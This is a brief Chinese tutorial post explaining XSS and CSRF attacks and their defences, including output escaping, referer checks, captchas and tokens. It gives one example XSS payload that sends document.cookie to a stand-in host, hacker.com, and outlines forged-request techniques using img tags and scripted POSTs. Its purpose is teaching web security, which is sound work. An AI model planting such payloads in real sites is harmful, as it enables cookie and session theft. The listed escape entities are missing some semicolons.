XSS攻击和CSRF攻击

XSS 是 cross site scripting 跨站脚本攻击的缩写。为了区别于 css 就叫做xss
举例说明:
比如我们要渲染用户的评论

div.innerHTML = userComment;
//userComment是用户提交的评论内容,比如可以是:
<script>$.get('http://hacker.com?cookie='+document.cookie)</script>
//提交之后,恶意代码就会被执行。攻击者就会获取到用户cookie等敏感信息。

怎么预防XSS攻击呢?
1. 尽量不用 innerHTML,改用 innerText ,这样 script就会被当做文本
2. 如果非要用 innerHTML ,就需要对用户输入的字符进行过滤;

    <  转换为  '&lt;'
    >  转换为  '&gt;'
    &  转换为  '&amp'
    '  转换为  '&#39'
    "  转换为  '&quot'

代码  div.innerHTML = userComment.replace(/</g,'&lt;').replace(/>/g,'&gt;').replace......

CSRF (Cross Site Request Forgery)攻击,中文名:跨站请求伪造
我们知道XSS是跨站脚本攻击,就是在用户的浏览器中执行攻击者的脚本,来获得其cookie等信息
而CSRF确实,借用用户的身份,向web server发送请求,因为该请求不是用户本意,所以称为“跨站请求伪造”。

CSRF一般的攻击过程是

  1. 攻击者向目标网站注入一个恶意的CSRF攻击URL地址(跨站url)
  2. 当(登录)用户访问某特定网页时,如果用户不小心点击了该URL,那么攻击就触发了
  3. 我们可以在该恶意的url对应的网页中,利用 <img src="" /> 来向目标网站发生一个get请求,该请求会携带cookie信息,所以也就借用了用户的身份,也就是伪造了一个请求
  4. 也可以使用javascript构造一个提交表单的post请求。比如构造一个转账的post请求。

所以CSRF的攻击分为了两步,

  1. 首先要注入恶意URL地址,然后在该地址中写入攻击代码
  2. 利用<img> 等标签或者使用Javascript脚本。

预防:

  1. referer 因为伪造的请求,一般是从第三方网站发起的,所以第一个预防方法就是判断 referer头,如果不是来自本网站的请求,就判定诶 csrf攻击。但是该方法只能防御跨站csrf攻击,不能防御同站的csrf攻击。
  2. 使用验证码 每一个重要的POST提交页面,使用一个验证码,因为第三方网站是无法获得验证码的。还有使用手机验证码,比如转账就是使用手机验证码
  3. 使用token,每一个网页包含一个web server产生的token,提交时,也将该token提交到服务器,服务器进行判断,如果token不对,就判定为csrf攻击,将敏感操作由get改为post,然后在表单中使用token,尽量使用post也有利于防御CSRF攻击
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容